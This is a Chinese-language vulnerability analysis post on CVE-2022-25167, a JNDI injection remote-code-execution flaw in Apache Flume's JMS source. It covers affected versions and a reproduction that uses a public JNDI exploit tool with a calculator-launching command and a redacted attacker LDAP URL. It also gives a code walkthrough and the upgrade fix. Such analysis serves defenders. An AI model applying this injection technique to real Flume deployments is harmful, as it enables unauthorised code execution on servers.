开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞

项目介绍

Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。

项目地址

Welcome to Apache Flume — Apache Flume

漏洞概述

当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻击[1]

影响版本

Apache Flume 1.4.0 - 1.9.0

环境搭建

下载部署即可

Index of /dist/flume/1.10.0

漏洞复现

该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。

工具链接:

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

命令如下所示:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可

漏洞分析

查询官网披露信息可知,是由于 JMSSource 类没有进行验证,导致用户传入的数据被反序列化

搭建运行,idea默认生成的 Junit Application 并不能正常运行;先静态分析看一下

按照思路 diff 发现 JMSSource 1.10.0 在 doConfigure 中新增了调用 assertTure 的 uri 校验;转头去找 lookup

定位代码,connectionFactory 调用了 initialContext.lookup

 

看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx

lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例

For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory

基本确定了,接下来尝试漏洞利用

 

context.put(JMSSourceConfiguration.DESTINATION_NAME,
            JNDI_PREFIX + DESTINATION_NAME);

项目未提供可将恶意参数传入漏洞触发位置的web界面或api,为了快速进行漏洞分析我们使用官方提供的测试类TestIntegrationActiveMQ, 可以使用该测试类进行漏洞复现与利用

可控参数传入位置在该类的 testQueueLocatedWithJndi 函数,里面只有上述两个 context.put;DESTINATION_NAME即为我们的入口点,name参数正是来自 DESTINATION_NAME ,因此需要在 TestIntegrationActiveMQ 中设置 DESTINATION_NAME 为 ldap 的链接;且需要更改 JNDI_PREFIX 为 ldap

converterClassName is : org.apache.flume.source.jms.DefaultJMSMessageConverter$Builder

destinationName+dynamicQueues/+test
destinationLocator+JNDI

按照这个尝试修改代码

TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX

 

运行测试发现 testQueueLocatedWithJndi 读入的 信息变成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 测试报错

context.put 变成

destinationName+ldap://+xxxxxx:1389/h3puak
destinationLocator+JNDI

 

按照漏洞复现步骤运行工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

 

 

 

获取到 destinationName:ldap://x.x.x.x:1389/gttkny

 

 

收到 ldap了但没执行命令;idea项目Java版本换成 1.8 即可😂

修复方式

升级到 1.10.0 版本或按照 commite:dafb26ccb172141c6e14e95447e1b6ae38e9a7d0 修复相关代码

参考链接

[1] NVD - CVE-2022-25167
[2] FLUME-3416 - Improve input validation · apache/flume@dafb26c · GitHub
[3] [FLUME-3416] Improve input validation in JMSSource - ASF JIRA
[4] CVE-2022-25167 | Apache Flume JMS Source 权限升级

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值